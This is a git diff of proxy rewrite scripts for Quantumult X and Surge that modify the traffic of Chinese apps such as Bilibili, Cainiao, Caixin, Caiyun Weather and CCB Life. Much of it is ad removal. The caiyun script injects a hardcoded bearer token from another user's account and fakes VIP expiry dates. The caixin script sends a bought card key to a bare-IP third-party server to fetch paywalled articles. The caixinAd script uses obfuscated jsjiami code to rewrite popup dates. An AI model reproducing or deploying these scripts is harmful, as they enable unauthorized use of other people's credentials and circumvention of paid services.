t.tabModule=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posD},{no:2,name:"ads_control",kind:"message",T:()=>D},{no:3,name:"source_content",kind:"message",repeat:1,T:()=>D}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.sourceContent=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posrn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posnn},{no:5,name:"tab",kind:"message",T:()=>en},{no:7,name:"cm",kind:"message",T:()=>tn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posbn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.poskn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posvn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.isSupport=!1,t.disabled=!1,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posUn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posVe}}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.arcConf={},e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posEn},{no:4,name:"unsupport_scene",kind:"scalar",repeat:1,T:5}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.isSupport=!1,t.disabled=!1,t.unsupportScene=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posDn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.items=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posVn},{no:12,name:"topic_list",kind:"message",oneof:"item",T:()=>Sn}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.item={oneofKind:void 0},e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.poszn},{no:3,name:"tf_panel_customized",kind:"message",T:()=>Gn},{no:4,name:"user_flag_new",kind:"scalar",T:8}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.tipsId=0n,t.userFlagNew=!1,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posSe}}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.rightBtnImg="",t.rightBtnText="",t.rightBtnTextColor="",t.rightBtnLink="",t.mainLabel="",t.operator="",t.subPanel={},e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos!["topicList","rcmdOneItem"].includes(t.item.oneofKind)),_($n,e)}function Pi(r){let e=ot.fromBinary(r),t=e.modes.find(i=>i.name==="teenagers");t?.f5?.f1&&(t.f5.f1=0,_(ot,e))}function _i(r){let e=In.fromBinary(r),t=e.playArc?.backgroundPlayConf;t&&(!t.isSupport||t.disabled)&&(t.isSupport=!0,t.disabled=!1,t.extraContent=null,_(In,e))}function $i(r){let e=An.fromBinary(r);e.playArcConf?.arcConf&&(Object.values(e.playArcConf.arcConf).forEach((t,i)=>{[2,9,23,36].includes(i)&&(t.isSupport=!0,t.disabled=!1,t.extraContent=null,t.unsupportScene.length=0)}),_(An,e))}function ji(r){let e=Zn.fromBinary(r);e?.tipsId&&(delete e.tfToast,delete e.tfPanelCustomized,_(Zn,e))}function Mi(r){let e=Mn.fromBinary(r);e.show="\u641C\u7D22\u89C6\u9891\u3001\u756A\u5267\u6216up\u4E3B",delete e.word,delete e.goto,delete e.value,delete e.uri,_(Mn,e)}function zi(r){let e=Tt.fromBinary(r);delete e.cmConfig,delete e.cmIpad,delete e.label,delete e.reqUser?.elecPlusBtn,e.specialCellNew.length=0,e.cms.length=0,e.relates=e.relates.filter(t=>!t.cm),_(Tt,e)}function Gi(r){let e=It.fromBinary(r);delete e.cm,_(It,e)}function Ki(r){let e=Rt.fromBinary(r);e.items=e.items.filter(t=>!t.linktype.endsWith("_ad")),_(Rt,e)}function Ji(r,e){let t=jt.fromBinary(r);delete t.topicList,e.isIpad||(t.upList?.showLiveNum?t.upList.listSecond.length&&(t.upList.listSecond[t.upList.listSecond.length-1].separator=!0,t.upList.list.unshift(...t.upList.listSecond),t.upList.listSecond.length=0):delete t.upList),t.dynamicList.list=t.dynamicList.list.filter(i=>![ne.ad,ne.live_rcmd].includes(i.cardType)),_(jt,t)}function qi(r){let e=Kt.fromBinary(r);delete e.dm,_(Kt,e)}function Xi(r){let e=wn.fromBinary(r);delete e.cm,delete e.reqUser?.elecPlusBtn,e.tab?.tabModule.forEach(t=>{if(t.tab.oneofKind!=="introduction")return;t.tab.introduction.modules=t.tab.introduction.modules.filter(s=>s.type!==ie.SPECIALTAG);let i=t.tab.introduction.modules.find(s=>s.type===ie.RELATED_RECOMMEND);i?.data.oneofKind==="relates"&&(i.data.relates.cards=i.data.relates.cards.filter(s=>![re.GAME,re.CM_TYPE,re.LIVE].includes(s.relateCardType)));let n=t.tab.introduction.modules.find(s=>s.type===ie.UGC_HEADLINE);n?.data.oneofKind==="headLine"&&delete n.data.headLine.label}),_(wn,e)}var Or=/(?.+):\/\/(?[^/]+)\/?(?[^?]+)?\??(?.*)?/,we=class{constructor(e=""){if(this.name="URL v1.0.2",!e)throw new Error("Empty URL");this.parse(e)}parse(e){let{scheme:t,host:i,path:n="",params:s}=e.match(Or)?.groups??{};this.scheme=t,this.host=i,this.path=n,this.params=s?s.split("&").reduce((f,o)=>{let[l,a]=o.split("=");return f[l]=a,f},{}):{}}toString(){let e=this.scheme+"://"+this.host+"/"+this.path;return this.params&&(e+="?"+Object.entries(this.params).reduce((t,[i,n],s)=>t+(s?"&":"")+i+"="+n,"")),e}};var be=H.getInstance("Bilibili Helper",{debug:!1}),Rr=be.request.url,Zi=be.request.headers,Hn=be.response.bodyBytes;Hn||be.exit();var Lr=new we(Rr).path,Fr=typeof $utils=="object"&&typeof $utils?.ungzip=="function"?$utils.ungzip:mi,Ar=Hn.slice(0,5),Yn=Hn.slice(5);Ar[0]&&(Yn=Fr(Yn));var Dr=Zi["User-Agent"]||Zi["user-agent"],Vr={isIpad:Dr?.includes("bili-hd")},Yi={"v1.DM/DmView":Ci,"v1.Teenagers/ModeStatus":Pi,"v1.Reply/MainList":Gi,"v1.Search/SearchAll":Ki,"v2.Dynamic/DynAll":Ji,"viewunite.v1.View/View":Xi,"view.v1.View/ViewProgress":qi,"view.v1.View/View":zi,"view.v1.View/TFInfo":ji,"playurl.v1.PlayURL/PlayView":_i,"playerunite.v1.Player/PlayViewUnite":$i,"v1.Popular/Index":Wi,"interface.v1.Search/DefaultWords":Mi};for(let r in Yi)if(Lr.endsWith(r)){Yi[r](Yn,Vr);break}be.exit();})(); diff --git a/Scripts/blued.js b/Scripts/blued.js new file mode 100644 index 00000000..903fcd4c --- /dev/null +++ b/Scripts/blued.js @@ -0,0 +1,8 @@ + +let rsp_body = JSON.parse($response.body); +rsp_body.data[0].banner = {}; +rsp_body.data[0].service = []; +rsp_body.data[0].healthy = {}; +rsp_body.data[0].healthy_banner = []; +rsp_body.data[0].emotions = []; +$done({body: JSON.stringify(rsp_body)}); \ No newline at end of file diff --git a/Scripts/bohe/bohe_ads.js b/Scripts/bohe/bohe_ads.js new file mode 100644 index 00000000..18cb9653 --- /dev/null +++ b/Scripts/bohe/bohe_ads.js @@ -0,0 +1,34 @@ +/** + * 薄荷健康去广告 + * 移除记录页大家都在看、移除各类弹窗,移除广场横幅推广,精简代谢中心页面。 + * 2024-08-16 18:28:28 + */ +const url = $request.url; +let obj = JSON.parse($response.body); + +if (url.includes("/index/plaza-flow?")) { + if (obj.data && obj.data.contents && Array.isArray(obj.data.contents)) { + obj.data.contents = obj.data.contents.filter(item => item.type !== 4); + } +} + +if (url.includes("/meta-interface/v2/index?")) { + delete obj.data.recom_cards; + delete obj.data.recom_btns; +} + +if (url.includes("/meta-interface/v1/index/plaza?")) { + delete obj.data.tabs[1].badge; + delete obj.data.recommend_ads; +} + +if (url.includes("/open-interface/v1/string/market_page?title=metabolism_config")) { + delete obj.dtop_banner; + delete obj.diagnos_config; + delete obj.partner_hospital; + delete obj.question_answer; + delete obj.product; + delete obj.brand_story; +} + +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/cainiao/cainiao.js b/Scripts/cainiao/cainiao.js new file mode 100644 index 00000000..ed31dc3a --- /dev/null +++ b/Scripts/cainiao/cainiao.js @@ -0,0 +1,158 @@ +// 2024-09-27 11:50 + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/mtop.cainiao.guoguo.nbnetflow.ads.mshow")) { + // 首页 + if (obj?.data) { + const items = [ + "10", // 物流详情页 底部横图 + "498", // 物流详情页 左上角 + "328", // 3位数为家乡版本 + "366", + "369", + "615", + "616", + "727", + "793", // 支付宝 小程序 搜索框 + "954", // 支付宝 小程序 置顶图标 + "1275", // 果酱即将到期 + "1308", // 支付宝 小程序 横图 + "1316", // 头部 banner + "1332", // 我的页面 横图 + "1340", // 查快递 小妙招 + "1391", // 支付宝 小程序 寄包裹 + "1410", // 导入拼多多、抖音快递 + "1428", // 幸运号 + "1524", // 抽现金 + "1525", // 幸运包裹 + "1638", // 为你精选了一些商品 + "1910" // 618促销红包 + ]; + for (let i of items) { + if (obj.data?.[i]) { + delete obj.data[i]; + } + } + } +} else if (url.includes("/mtop.cainiao.guoguo.nbnetflow.ads.show")) { + // 我的页面 + if (obj?.data?.result?.length > 0) { + // 29338 寄件会员 + // 29339 裹酱积分 + // 33927 绿色能量 + // 36649 回收旧物 + obj.data.result = obj.data.result.filter( + (i) => + !( + i?.materialContentMapper?.adItemDetail || + (i?.materialContentMapper?.bgImg && i?.materialContentMapper?.advRecGmtModifiedTime) || + ["common_header_banner", "entertainment", "interests", "kuaishou_banner"]?.includes( + i?.materialContentMapper?.group_id + ) || + ["29338", "29339", "32103", "33927", "36649"]?.includes(i?.id) + ) + ); + for (let i of obj.data.result) { + if (i?.materialContentMapper?.show_tips_content) { + // 清空红点标记 + i.materialContentMapper.show_tips_content = ""; + } + } + } +} else if (url.includes("/mtop.cainiao.nbpresentation.pickup.empty.page.get")) { + // 取件页面 + if (obj?.data?.result) { + let ggContent = obj.data.result.content; + if (ggContent?.middle?.length > 0) { + ggContent.middle = ggContent.middle.filter( + (i) => + ![ + "guoguo_pickup_empty_page_relation_add", // 添加亲友 + "guoguo_pickup_helper_feedback", // 反馈组件 + "guoguo_pickup_helper_tip_view" // 取件小助手 + ]?.includes(i?.template?.name) + ); + } + } +} else if (url.includes("/mtop.cainiao.nbpresentation.protocol.homepage.get")) { + // 首页 + if (obj?.data?.result?.dataList?.length > 0) { + let newLists = []; + for (let item of obj.data.result.dataList) { + if (item?.type?.includes("kingkong")) { + if (item?.bizData?.items?.length > 0) { + for (let i of item.bizData.items) { + i.rightIcon = null; + i.bubbleText = null; + } + } + } else if (item?.type?.includes("icons_scroll")) { + // 顶部图标 + if (item?.bizData?.items?.length > 0) { + let newBizs = []; + for (let i of item.bizData.items) { + const lists = [ + "618cjhb", // 超级红包 + "bgxq", // 包裹星球 + "cncy", // 填字赚现金 + "cngy", // 免费领水果 + "cngreen", // 绿色家园 + "cnhs", // 菜鸟回收 + "dtxb", // 地图寻宝 + "gjjf", // 裹酱积分 + "jkymd", // 集卡赢免单 + "ljjq", // 领寄件券 + "ttlhb", // 天天领红包 + "xybg" // 幸运包裹 + ]; + if (lists?.includes(i?.key)) { + continue; + } + newBizs.push(i); + } + item.bizData.items = newBizs; + for (let i of item.bizData.items) { + i.rightIcon = null; + i.bubbleText = null; + } + } + } else if (item?.type?.includes("banner_area")) { + // 新人福利 幸运抽奖 + continue; + } else if (item?.type?.includes("promotion")) { + // 促销活动 + continue; + } + newLists.push(item); + } + obj.data.result.dataList = newLists; + } +} else if (url.includes("/mtop.nbfriend.message.conversation.list")) { + // 消息中心 + if (obj?.data?.data?.length > 0) { + obj.data.data = obj.data.data.filter((i) => i?.conversationId?.includes("logistic_message")); + } +} else if (url.includes("/mtop.cainiao.app.mine.main")) { + // 我的页面 + if (obj?.data) { + const items = [ + "activity", // 热门活动 + "asset", // 我的权益 + "banner", // 底部滚动横图 + "content" + // "header", // 头部信息 + // "order" // 我的订单 + // "packageArea", // 包裹导入 + ]; + for (let i of items) { + if (obj.data?.[i]) { + delete obj.data[i]; + } + } + } +} + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/caixin/caixin.js b/Scripts/caixin/caixin.js new file mode 100644 index 00000000..24d90593 --- /dev/null +++ b/Scripts/caixin/caixin.js @@ -0,0 +1,104 @@ +/** + * @author fmz200 + * @function 阅读财新APP会员文章,需要去某宝购买会员卡密 + * @date 2023-11-22 18:30:13 + * + * hostname = mappsv5.caixin.com + * [rewrite_local] + * https://mappsv5\.caixin\.com/articlev5/(\d+)/(\d+)\.html url script-response-body caixin.js + */ + +let req_url = $request.url; +let rsp_body = $response.body; +let kami = ''; // 这里填写卡密 +let articleProperties = {}; +let articleURL = ""; +try { + modifyMain(); +} catch (e) { + console.log('脚本运行出现错误⚠️'); + console.log('错误信息:' + e.message); +} + +function modifyMain() { + console.log('脚本运行开始'); + if (rsp_body.includes("浏览完整内容,请订阅《财新周刊》")) { + console.log('会员文章💕'); + sign(); + } else { + console.log('普通文章💕'); + $done({rsp_body}); + } +} + +function sign() { + console.log('开始登录💕'); + const url = `http://113.207.49.170:8801/api/login.php`; + const method = `POST`; + const headers = { + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.169 Mobile/15E148 Safari/604.1`, + 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarylAGNzd3p4Uf34hmM' + }; + const body = `------WebKitFormBoundarylAGNzd3p4Uf34hmM\nContent-Disposition: form-data; name="kami"\n\n${kami}\n------WebKitFormBoundarylAGNzd3p4Uf34hmM--\n`; + const myRequest = { + url: url, method: method, headers: headers, body: body + }; + + $task.fetch(myRequest).then(response => { + console.log("登录响应码:" + response.statusCode + "\n\n" + response.body + "\n\n"); + let authData = JSON.parse(response.body); + if (authData.code === 200) { + fetchArticle(authData.token); + } else { + console.log('登录失败❌'); + } + }, reason => { + console.log('请求异常❗️'); + console.log(reason.error); + $done({rsp_body}); + }); +} + +// 拉取文章 +function fetchArticle(authData) { + // 文章链接示例:https://www.caixin.com/2023-11-20/102137746.html + const htmlString = rsp_body; + const startTag = ' { + console.log("拉取文章响应码:" + response.statusCode + "\n\n"); + rsp_body = response.body; + console.log("拉取文章结束💕"); + // console.log("会员文章内容:\n" + new_rsp_body); + $done({body: rsp_body}); + }, reason => { + console.log(reason.error); + $done({rsp_body}); + }); +} diff --git a/Scripts/caixin/caixinAd.js b/Scripts/caixin/caixinAd.js new file mode 100644 index 00000000..e5135cce --- /dev/null +++ b/Scripts/caixin/caixinAd.js @@ -0,0 +1,4 @@ +// 财新 + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxf34c4=["\x69\x6E\x74\x76\x61\x6C\x22\x3A\x30","\x72\x65\x70\x6C\x61\x63\x65","\x65\x64\x61\x79\x22\x3A\x22\x32\x30\x32\x39\x2D\x31\x32\x2D\x33\x30\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x22","\x73\x64\x61\x79\x22\x3A\x22\x32\x30\x32\x39\x2D\x31\x32\x2D\x30\x31\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x22","\x62\x6F\x64\x79","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];var body=$response[__Oxf34c4[0x4]][__Oxf34c4[0x1]](/sday":"[^"]*"/g,__Oxf34c4[0x3])[__Oxf34c4[0x1]](/eday":"[^"]*"/g,__Oxf34c4[0x2])[__Oxf34c4[0x1]](/intval":\d/g,__Oxf34c4[0x0]);$done({body});;;(function(_0x510dx2,_0x510dx3,_0x510dx4,_0x510dx5,_0x510dx6,_0x510dx7){_0x510dx7= __Oxf34c4[0x5];_0x510dx5= function(_0x510dx8){if( typeof alert!== _0x510dx7){alert(_0x510dx8)};if( typeof console!== _0x510dx7){console[__Oxf34c4[0x6]](_0x510dx8)}};_0x510dx4= function(_0x510dx9,_0x510dx2){return _0x510dx9+ _0x510dx2};_0x510dx6= _0x510dx4(__Oxf34c4[0x7],_0x510dx4(_0x510dx4(__Oxf34c4[0x8],__Oxf34c4[0x9]),__Oxf34c4[0xa]));try{_0x510dx2= __encode;if(!( typeof _0x510dx2!== _0x510dx7&& _0x510dx2=== _0x510dx4(__Oxf34c4[0xb],__Oxf34c4[0xc]))){_0x510dx5(_0x510dx6)}}catch(e){_0x510dx5(_0x510dx6)}})({}) + diff --git a/Scripts/caiyun/caiyun.js b/Scripts/caiyun/caiyun.js new file mode 100644 index 00000000..3c1e2026 --- /dev/null +++ b/Scripts/caiyun/caiyun.js @@ -0,0 +1,110 @@ +// 2024-09-28 10:30 + +const url = $request.url; +const isQuanX = typeof $task !== "undefined"; +let header = $request.headers; + +if (typeof $response === "undefined") { + const cyTK = + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2ZXJzaW9uIjoxLCJ1c2VyX2lkIjoiNWY1YmZjNTdkMmM2ODkwMDE0ZTI2YmI4Iiwic3ZpcF9leHBpcmVkX2F0IjoxNzA1MzMxMTY2LjQxNjc3MSwidmlwX2V4cGlyZWRfYXQiOjB9.h_Cem89QarTXxVX9Z_Wt-Mak6ZHAjAJqgv3hEY6wpps"; + header["device-token"] = cyTK; + if (compareVersions(header.version, "7.19.0") > 0) { + if (isQuanX) { + header["Authorization"] = "Bearer " + cyTK; + } else { + header["authorization"] = "Bearer " + cyTK; + } + } + $done({ headers: header }); +} else { + let obj = JSON.parse($response.body); + if (url.includes("/api.caiyunapp.com/v1/activity")) { + if (url.includes("&type_id=A03&")) { + // 底栏控制项目 主页图标 天气助手 彩云ai + if (obj?.interval) { + obj.interval = 2592000; // 30天===2592000秒 + } + if (obj?.activities?.length > 0) { + for (let item of obj.activities) { + if (item?.name && item?.type && item?.feature) { + item.feature = false; + } + } + } + } else { + // 其他请求 + obj = { status: "ok", activities: [{ items: [] }] }; + } + } else if (url.includes("/api/v1/user_detail")) { + // 新版本 我的页面 + if (obj?.vip_info?.show_upcoming_renewal) { + obj.vip_info.show_upcoming_renewal = false; + } + if (obj?.vip_info?.svip) { + if (obj?.vip_info?.svip) { + obj.vip_info.svip.is_auto_renewal = true; + obj.vip_info.svip.expires_time = "3742732800"; + } + } + } else if (url.includes("/wrapper.cyapi.cn/v1/activity")) { + // 彩云推广 + if (["&type_id=A03&"]?.includes(url)) { + // 天气助手 彩云ai + if (obj?.interval) { + obj.interval = 2592000; // 30天===2592000秒 + } + if (obj?.activities?.length > 0) { + obj.activities = []; + } + } else { + // 其他请求 + obj = { status: "ok", activities: [{ items: [] }] }; + } + } else if (url.includes("/v1/vip_info")) { + // 我的页面 + if (obj?.vip) { + obj.vip.expires_time = "4030000000"; + } + if (obj?.svip) { + obj.svip.expires_time = "4030000000"; + } + if (obj?.show_upcoming_renewal) { + obj.show_upcoming_renewal = false; + } + } else if (url.includes("/v2/user")) { + // 我的页面 + if (obj?.result) { + obj.result.svip_given = 730; + obj.result.is_phone_verified = true; + obj.result.is_xy_vip = true; + obj.result.vip_expired_at = 4030000000.16; + obj.result.is_vip = true; + obj.result.xy_svip_expire = 4030000000.16; + if (obj?.result?.wt) { + if (obj.result.wt.vip) { + obj.result.wt.vip.enabled = true; + obj.result.wt.vip.expired_at = 4030000000.16; + obj.result.wt.vip.svip_expired_at = 4030000000.16; + } + obj.result.wt.svip_given = 730; + } + obj.result.is_primary = true; + obj.result.xy_vip_expire = 4030000000.16; + obj.result.svip_expired_at = 4030000000.16; + obj.result.vip_type = "s"; + } + } + $done({ body: JSON.stringify(obj) }); +} + +function compareVersions(t, r) { + const e = t.split(".").map(Number); + const n = r.split(".").map(Number); + for (let t = 0; t < Math.max(e.length, n.length); t++) { + const r = e[t] || 0; + const i = n[t] || 0; + if (r > i) return 1; + if (r < i) return -1; + } + return 0; +} diff --git a/Scripts/ccbLife/A3341AB05.json b/Scripts/ccbLife/A3341AB05.json new file mode 100644 index 00000000..60573b89 --- /dev/null +++ b/Scripts/ccbLife/A3341AB05.json @@ -0,0 +1,220 @@ +{ + "errMsg" : "", + "data" : { + "MEB_GREETINGWORD" : [ + { + "SHOW_TYPE" : "01", + "CONTENT" : "四方食事,不过一碗人间烟火" + } + ], + "SYSTEM_TIME" : "2023-07-13 09:05:33", + "STOREY_DISPLAY_INFO" : [ + { + "STOREY_NM" : "生活精选", + "STOREY_TYPE" : "03", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "限时抢券", + "STOREY_TYPE" : "06", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "首页专题广告", + "STOREY_TYPE" : "10", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "分行广告", + "STOREY_TYPE" : "14", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "节日广告", + "STOREY_TYPE" : "15", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "发现好店广告", + "STOREY_TYPE" : "25", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "生活卡专区精彩活动", + "STOREY_TYPE" : "34", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "每日好券精彩活动", + "STOREY_TYPE" : "35", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "标签广告", + "STOREY_TYPE" : "36", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "今日优选广告", + "STOREY_TYPE" : "37", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "数字人民币专区广告", + "STOREY_TYPE" : "38", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "数字人民币活动广告", + "STOREY_TYPE" : "39", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "数字人民币知识广告", + "STOREY_TYPE" : "40", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "场景聚合", + "STOREY_TYPE" : "49", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "美食好店", + "STOREY_TYPE" : "50", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好花-美食券", + "STOREY_TYPE" : "83", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好花-文娱充值", + "STOREY_TYPE" : "84", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好花-大牌", + "STOREY_TYPE" : "85", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好物-全积分兑换", + "STOREY_TYPE" : "86", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好物-积分随心抵", + "STOREY_TYPE" : "87", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "信用卡-商品", + "STOREY_TYPE" : "88", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好赚楼层", + "STOREY_TYPE" : "90", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "精选TAB", + "STOREY_TYPE" : "91", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好店TAB", + "STOREY_TYPE" : "92", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "热门资讯", + "STOREY_TYPE" : "75", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "支付有礼", + "STOREY_TYPE" : "52", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "支付有礼", + "STOREY_TYPE" : "54", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "安心保障", + "STOREY_TYPE" : "58", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "功能区广告", + "STOREY_TYPE" : "60", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "节日广告2.0", + "STOREY_TYPE" : "61", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "会员有礼广告", + "STOREY_TYPE" : "63", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "信用卡专享广告2.0", + "STOREY_TYPE" : "64", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "本地优惠", + "STOREY_TYPE" : "65", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "种草", + "STOREY_TYPE" : "66", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "好评", + "STOREY_TYPE" : "67", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "热门资讯", + "STOREY_TYPE" : "68", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "金刚区", + "STOREY_TYPE" : "45", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "今日推荐", + "STOREY_TYPE" : "46", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "大牌精选", + "STOREY_TYPE" : "47", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "固定广告", + "STOREY_TYPE" : "48", + "IS_DISPLAY" : "1" + }, + { + "STOREY_NM" : "小编推荐", + "STOREY_TYPE" : "156", + "IS_DISPLAY" : "1" + } + ] + }, + "errCode" : "0" +} diff --git a/Scripts/ccbLife/ccbLifeAds.js b/Scripts/ccbLife/ccbLifeAds.js new file mode 100644 index 00000000..4d020f00 --- /dev/null +++ b/Scripts/ccbLife/ccbLifeAds.js @@ -0,0 +1,27 @@ +const url = $request.url; +if (!$response.body) $done({}); +let body = $response.body; +let obj = JSON.parse(body); +if (url.includes("A3341AB04")) { + if (obj?.data?.ICON_SKIN_INFO) { + delete obj.data.ICON_SKIN_INFO; + } +} else if (url.includes("A3341AB03")) { + if (obj?.data?.TAG_AD_INFO) { + delete obj.data.TAG_AD_INFO; + } + if (obj?.data?.MEBCT_AD_INFO) { + delete obj.data.MEBCT_AD_INFO; + } + // 我的页-财富会员入口 + if (obj?.data?.MYSELF_ENTRANCE_AD) { + delete obj.data.MYSELF_ENTRANCE_AD; + } +} else if (url.includes("A3341A120")) { + if (obj?.data?.POP_AD_INFO) { + delete obj.data.POP_AD_INFO; + } +} + +body = JSON.stringify(obj); +$done({body}); \ No newline at end of file diff --git a/Scripts/ccbLife/ccbLife_signin.js b/Scripts/ccbLife/ccbLife_signin.js new file mode 100644 index 00000000..28323661 --- /dev/null +++ b/Scripts/ccbLife/ccbLife_signin.js @@ -0,0 +1,453 @@ +/** + * 脚本名称:建行生活 + * 活动入口:建行生活APP -> 首页 -> 会员有礼 -> 签到 + * 脚本说明:连续签到领优惠券礼包(打车、外卖优惠券),配置重写手动签到一次即可获取签到数据,默认领取外卖券,可在 BoxJS 配置奖品。兼容 Node.js 环境,变量名称 JHSH_BODY、JHSH_GIFT、JHSH_LOGIN_INFO,多账号分割符 "|"。 + * 仓库地址:https://github.com/FoKit/Scripts + * 更新时间:2023-10-31 修复多账号 Set-Cookie 参数的串号问题 + * 更新时间:2023-10-30 修复 Cokie 失效问题,增加骑行券类型参数,感谢 Sliverkiss、𝘠𝘶𝘩𝘦𝘯𝘨、苍井灰灰 大佬提供帮助。 + * 更新时间:2024-01-30 修复 Stash 代理工具无法获取 mbc-user-agent 参数问题 + * 更新时间:2024-01-31 增加借记卡用户自动断签功能,非建行信用卡用户连续签到 7 天优惠力度较低(满39元减10元) + * 更新时间:2024-02-18 修复默认断签问题 + * 更新时间:2024-02-21 修复变量作用域导致无法自动领取签到奖励问题 +/* + +https://raw.githubusercontent.com/FoKit/Scripts/main/boxjs/fokit.boxjs.json +https://raw.githubusercontent.com/FoKit/Scripts/main/rewrite/get_jhsh_cookie.sgmodule + +------------------ Surge 配置 ----------------- + +[MITM] +hostname = yunbusiness.ccb.com + +[Script] +建行数据 = type=http-request,pattern=^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin),requires-body=1,max-size=0,script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js + +建行生活 = type=cron,cronexp=17 7 * * *,timeout=60,script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js,script-update-interval=0 + 